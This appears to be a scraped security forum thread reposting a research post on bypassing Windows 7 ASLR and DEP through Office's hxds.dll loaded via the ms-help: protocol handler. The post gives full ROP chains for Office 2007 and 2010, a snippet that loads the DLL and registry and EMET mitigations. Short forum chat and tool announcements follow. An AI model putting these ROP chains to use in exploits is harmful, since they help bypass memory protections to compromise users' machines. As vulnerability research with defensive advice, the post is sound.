enterprise environment. For home users it gives the flexibility to enable and disable when needed say if you want to do a vulnerability scan which uses Java. Conclusion This research has shown that if you dont need Java best to just to uninstall it. If there is a requirement then upgrade to Java 7u10 and uncheck the Java content in the browser settings. Finally follow only Certs advisory [4] or the very least make the few mitigating changes mentioned in the “Preventing compromise” section regardless if you have “Java Content in the browser” enabled or disabled. References: [1] How to disable Java – Internet Explorer | Naked Security [2] How to disable the Java web plug-in in Internet Explorer [3] Internet Explorer security zones registry entries for advanced users [4] US-CERT Vulnerability Note VU#636312 - Oracle Java JRE 1.7 Expression.execute() and SunToolkit.getField() fail to restrict access to privileged code [5] How to Unplug Java from the Browser — Krebs on Security [6] Controlling Java in Internet Explorer - IEInternals - Site Home - MSDN Blogs [7] Using APPLET, OBJECT and EMBED Tags [9] Java[tm] Web Start Developer's Guide [10] JNLP File Syntax [11] JNLP Support in the Next Generation Java™ Plug-In Technology (introduced in Java SE 6 update 10) [12] Setting the Security Level of the Java Client Sursa: Exploiting and mitigating Java exploits in Internet Explorer | GreyHatHacker.NET

Bypassing Microsoft Windows ASLR with a little help by MS-Help Exploiting vulnerabilities on Windows 7 is not as easy as it used to be on Windows XP. Writing an exploit to bypass ASLR and DEP on Windows 7 was still relatively easy if Java 6 was installed as it got shipped with non aslr msvcr71.dll library. Now that Java 7 has been out for a while hopefully everyone should be using this version as msvcr71.dll does not exist with Java 7. With this in mind creating a reliable ROP chain is going to be difficult again as finding some information leak my guess is not going to be a straight forward not to mention the time it would take to create our ROP chain if a leak even exists. So I set myself the task to see if I could create a reliable static ROP chain on a fully patched Windows 7 machine with and without Microsoft Office. Windows 7 only After carrying out a default installation of Windows 7 sp1 (Enterprise) and getting it all up-to-date with patches I carried out a scan of all non aslr DLLs on the system and was amazed to find nearly 600 non alsr DLLs. Ok a lot were duplicates so removing these from my list I ended up with around 200 unique DLLs to play with. One way I thought I could possibly load the library in Internet Explorer is by calling a classid object tag so after searching for clsid string in the DLLs one library stood out “VsaVb7rt.dll” Filename - VsaVb7rt.dll Path - C:\Windows\Microsoft.NET\Framework\v2.0.50727\ MD5 hash - 22f450c23d8abdfa6bed991ad1c34b1c Size - 1,340,752 bytes Signed - 29th September 2010 08:46:12 After obtaining the classid guid using the tool Bintext I loaded it up in the browser <HTML> <OBJECT classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </OBJECT> </HTML> The issue with loading libraries via guids is that user interaction is first required before exploiting so in the real world this would not be a viable option unless your testing your own exploits from a specific address. Once accepting the security warning it writes to the registry entry below Windows 7 with MSOffice 2007/2010 With Windows 7 being a failure I turned my attention to Office 2007. As most users running Windows 7 should be running Office 2010 or the very least running Office 2007. After a default installation of “Microsoft Office 2007 Plus”, getting it fully up-to-date and carrying a another scan a number of additional non aslr DLLs where found that could be loaded via its own guids as above but again pretty useless with the prompts given. After browsing/grepping the strings in the libraries I found one library that could be loaded in Internet Explorer without any interaction and that library being “hxds.dll” . This library can be loaded using its protocol handler by location.href = ‘ms-help:’ <SCRIPT language="JavaScript"> location.href = 'ms-help:' </SCRIPT> This library does not get rebased either so is perfect for our ROP chain. Carrying out the same routine with “Microsoft Office 2010 Plus” I found the same library “hxds.dll” that we can use but our ROP chain would be different as the file has been updated. Details of the library on Office 2007 Filename - hxds.dll Path - C:\Program Files\Common Files\microsoft shared\Help\ MD5 hash - 9e7370cc3d6a43942433f85d0e2bbdd8 Size - 873,216 bytes Signed - 19th August 2006 11:52:41 Details of the library on Office 2010 Filename - hxds.dll Path - C:\Program Files\Common Files\microsoft shared\Help\ MD5 hash - 23fdb0c309e188a5e3c767f8fc557d83 Size - 877,368 bytes Signed - 23rd May 2009 12:24:33 Here is the ROP chain generated by Mona.py on Office 2007 0x51be25dc, # POP EDI # RETN [hxds.dll] 0x51bd1158, # ptr to &VirtualProtect() [IAT hxds.dll] 0x51c3098e, # MOV EAX,DWORD PTR DS:[EDI] # RETN [hxds.dll] 0x51c39987, # XCHG EAX,ESI # RETN [hxds.dll] 0x51bf1761, # POP EBP # RETN [hxds.dll] 0x51c4b2df, # & call esp [hxds.dll] 0x51bf2e19, # POP EBX # RETN [hxds.dll] 0x00000201, # 0x00000201-> ebx 0x51bfa969, # POP EDX # RETN [hxds.dll] 0x00000040, # 0x00000040-> edx 0x51c385a2, # POP ECX # RETN [hxds.dll] 0x51c5b991, # &Writable location [hxds.dll] 0x51bf7b52, # POP EDI # RETN [hxds.dll] 0x51c3f011, # RETN (ROP NOP) [hxds.dll] 0x51c433d7, # POP EAX # RETN [hxds.dll] 0x90909090, # nop 0x51c0a4ec, # PUSHAD # RETN [hxds.dll] and the ROP chain on Office 2010 0x51bf34b4, # POP ESI # RETN [hxds.dll] 0x51bd10b8, # ptr to &VirtualProtect() [IAT hxds.dll] 0x51bd2d97, # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] 0x51bdcba0, # XCHG EAX,ESI # RETN 00 [hxds.dll] 0x51c379e2, # POP EBP # RETN [hxds.dll] 0x51c59683, # & call esp [hxds.dll] 0x51be198c, # POP EBX # RETN [hxds.dll] 0x00000201, # 0x00000201-> ebx 0x51c35ac3, # POP EDX # RETN [hxds.dll] 0x00000040, # 0x00000040-> edx 0x51becf3e, # POP ECX # RETN [hxds.dll] 0x51c5d150, # &Writable location [hxds.dll] 0x51bef563, # POP EDI # RETN [hxds.dll] 0x51c07402, # RETN (ROP NOP) [hxds.dll] 0x51c56fbd, # POP EAX # RETN [hxds.dll] 0x90909090, # nop 0x51c3604e, # PUSHAD # RETN [hxds.dll] In order for our exploit to be successful I’ve seen its best to call the protocol handler after the heap spray and before triggering the vulnerability. Finally here is an exploit (password “answerworks”, md5hash 5bc94894890298710f30d91d6104e568) based from my last post where I have just changed the ROP chain from using msvcr71.dll to using hxds.dll. For now I see two options to mitigate this, one is to disable the protocol handler which can be done easily by changing the name or value in the registry or delete it completely. The downside is that I don’t know how it would impact applications using this handler. [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\ms-help] @="Help HxProtocol" "CLSID"="{314111c7-a502-11d2-bbca-00c04f8ec294}" The second option would be to get Microsoft EMET installed if you haven’t already done so and make sure “MandatoryASLR” is enabled for the iexplore.exe process. I can’t emphasize enough how vital it is to have this tool installed so please do not delay and get it deployed ASAP. Sursa: Bypassing Microsoft Windows ASLR with a little help by MS-Help | GreyHatHacker.NET

E Tinkode in caz ca nu v-ati prins.

Pff, si eu voiam sa fac asa ceva. Dar arata foarte bine

Ce barfe despre tine? Avem o alta vedeta? Nu am mai auzit nimic despre tine de la... chestia de dinainte de Defcamp. Cat despre tex lumea vorbeste mult fara sa cunoasca, nici eu nu stiu prea multe, dar eu ma abtin de la diverse comentarii.

Mptcp Packet Manipulator 1.9.0 Authored by Khun | Site hexcodes.org Mpctp is a tool for manipulation of raw packets that allows a large number of options. Its primary purpose is to diagnose and test several scenarios that involving the use of the types of TCP/IP packets. It is able to send certain types of packets to any specific target and manipulations of various fields at runtime. These fields can be modified in its structure as the the Source/Destination IP address and Source/Destination MAC address. Changes: Added support for Display Packet Content (tcpdump style). More hard compiler optimizations. Full support for Darwin OS. Various other additions and improvements. Download: http://packetstormsecurity.org/files/download/119132/mptcp-1.9.0.tar.gz Sursa: Mptcp Packet Manipulator 1.9.0 ? Packet Storm

Malheur Malware Analyzer 0.5.3 Authored by Konrad Rieck | Site mlsec.org Malheur is a tool for automatic analysis of program behavior recorded from malicious software (malware). It is designed to support the regular analysis of malicious software and the development of detection and defense measures. It allows for identifying novel classes of malware with similar behavior and assigning unknown malware to discovered classes. It can be applied to recorded program behavior of various formats as long as monitored events are separated by delimiter symbols, e.g. as in reports generated by the popular malware sandboxes CWSandbox, Anubis, Norman Sandbox, and Joebox. Changes: The tool's persistent state is stored in the local state directory for better maintenance. Several minor bugs have been fixed. Download: http://packetstormsecurity.org/files/download/119128/malheur-0.5.3.tar.gz Sursa: Malheur Malware Analyzer 0.5.3 ? Packet Storm

Insecure Authentication Control In J2EE Authored by Ashish Rao This is a whitepaper discussing insecure authentication control in J2EE implemented using sendRedirect(). Download: http://packetstormsecurity.org/files/download/119129/insecureauth-j2ee.pdf Sursa: Insecure Authentication Control In J2EE ? Packet Storm